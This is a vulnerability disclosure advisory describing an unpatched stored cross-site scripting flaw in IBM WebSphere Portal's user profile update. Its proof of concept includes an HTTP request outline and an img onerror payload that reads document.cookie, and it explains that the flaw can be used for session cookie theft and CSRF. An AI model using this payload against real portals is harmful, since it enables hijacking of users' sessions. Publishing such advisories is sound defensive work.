SSD Advisory – IBM WebSphere Portal Cross-Site Scripting (XSS)

Vulnerabilities Summary
The following advisory describes a Cross-Site Scripting (XSS) vulnerability found in WebSphere Portal version
IBM WebSphere Portal products provide enterprise web portals that help companies deliver a highly-personalized, social experience for their customers. WebSphere Portal products give users a single point of access to the applications, services, information and social connections they need. These products help increase visitor response and reduce web operations cost while offering a range of capabilities to meet your business needs.
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
We notified IBM of the vulnerability back in September 2016, repeated attempts to re-establish contact and get some answer on the status of the patches for this vulnerability went unanswered. At this time there is no solution or workaround for this vulnerability.

Vulnerabilities Details
IBM WebSphere Portal version suffers from an input validation issue resulting in the bypass of the built-in anti Cross-Site Scripting (XSS) mechanism, which is implemented to filter potentially malicious HTML tags while updating user’s profile detail. The identified vulnerability allows malicious users to perform stored XSS attacks in order to steal session cookie’s token or perform CSRF attacks.
Proof of Concept
The following HTTP request can be used to bypass the anti-XSS filter and store arbitrary JavaScript code as part of the user profile information:

POST /profiles/ajax/ HTTP/1.1
User-Agent: Mozilla/5.0 (xxxx)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 258
Cookie: *cookies here*
Connection: keep-alive
Cache-Control: no-cache

Once the attacker has stored the payload as part of its profile, the embedded JavaScript code can be execute browsing the following URL:*attacker_user_id*&lang=en_us

It should be noted that the aforementioned HTTP request results in the storage of the following HTML tag, which allows the execution of the alert() JavaScript method:

<img src=x xxxx onerror="alert(document.cookie)"//%


Get in touch